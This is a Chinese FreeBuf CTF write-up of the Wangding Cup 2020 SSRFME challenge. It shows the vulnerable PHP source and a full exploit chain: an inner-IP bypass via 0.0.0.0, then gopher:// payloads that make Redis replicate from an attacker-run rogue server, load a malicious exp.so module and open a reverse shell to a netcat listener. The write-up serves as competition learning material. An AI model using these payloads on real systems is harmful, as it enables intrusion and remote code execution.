freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

网鼎杯2020玄武组-SSRFME
2021-09-16 16:08:41

网鼎杯2020玄武组SSRFME题

index.php可绕过本地条件判断,以下是源码:

<?php
function check_inner_ip($url)
{
    $match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
    if (!$match_result)
    {
        die('url fomat error');
    }
    try
    {
        $url_parse=parse_url($url);
    }
    catch(Exception $e)
    {
        die('url fomat error');
        return false;
    }
    $hostname=$url_parse['host'];
    $ip=gethostbyname($hostname);
    $int_ip=ip2long($ip);
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}

function safe_request_url($url)
{

    if (check_inner_ip($url))
    {
        echo $url.' is inner ip';
    }
    else
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        $output = curl_exec($ch);
        $result_info = curl_getinfo($ch);
        if ($result_info['redirect_url'])
        {
            safe_request_url($result_info['redirect_url']);
        }
        curl_close($ch);
        var_dump($output);
    }

}
if(isset($_GET['url'])){
    $url = $_GET['url'];
    if(!empty($url)){
        safe_request_url($url);
    }
}
else{
    highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>

1.首先访问index页面:
image2.继续访问hint.php文件
hint.php源码为:

string(1342) " <?php
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
  highlight_file(__FILE__);
}
if(isset($_POST['file'])){
  file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']);
}
"

3.搭建环境
image4.开始攻击
访问这个文件是空白,所以必须先绕过他的限制 可从index.php页面查看,这里发现它限制了10.0.0.0\127.16.0.0...都不可以访问他的hint.php页面。
image5.这里是可以直接通过url执行的,所以如果进行绕过可构造语句:
http://192.168.1.27/ssrf/index.php?url=http://www.baidu.com
image6.这里成功执行,接下来继续绕过!
image

http://192.168.1.27/ssrf/index.php?url=http://0.0.0.0/ssrf/hint.php

成功访问!
image7.查看源代码发现它存在一个redis密码提示:welcometowangdingbeissrfme6379 说明对方服务器开了一个redis数据库。这里还可通过dict来执行命令进行验证是否开启6379端口:

http://192.168.1.27/ssrf/index.php?url=dict://0.0.0.0:6379

image8.接下来使用gopher来拿到shell权限:
(1)本地开启一个主对主的服务器:

python3 redis-rogue-server.py --rhost 127.0.0.1 --lhost 192.168.1.28

都为本地ip
image

(2)ssrf gopher联动redis拿shell
利用构造好的语句设置目录
kali开启burp进行翻译
image解释:通过命令密码登陆本地的6379 切换到tmp目录下进行退出
执行:

http://192.168.1.27/ssrf/index.php?url=gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit

image(3)执行第二条:重新登录 生成一个exp.so文件 在进行主从同步(ip改为本地)

http://192.168.1.27/ssrf/index.php?url=gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%2520192.168.1.28%252021000%250d%250aquit

(4)生成恶意文件:
image(5)导入模块:

http://192.168.1.27/ssrf/index.php?url=gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250amodule%2520load%2520./exp.so%250d%250aquit

image

(6)执行恶意文件进行交互!最后进行关闭关闭主从:

http://192.168.1.27/ssrf/index.php?url=gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aslaveof%2520NO%2520ONE%250d%250aquit

image

(7)导出数据库:

http://192.168.1.27/ssrf/index.php?url=gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aconfig%2520set%2520dbfilename%2520dump.rdb%250d%250aquit

image

(8)反弹shell
现在本地设置监听:

nc -vlp 9999

image(9)执行语句:

http://192.168.1.27/ssrf/index.php?url=gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250asystem.rev%2520192.168.1.28%25209999%250d%250aquit

image(10)成功拿到shell!
image

本文作者:, 转载请注明来自FreeBuf.COM

# ctf web # CTF赛事
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
评论 按热度排序

登录/注册后在FreeBuf发布内容哦

相关推荐
\
  • 0 文章数
  • 0 评论数
  • 0 关注者
登录 / 注册后在FreeBuf发布内容哦
收入专辑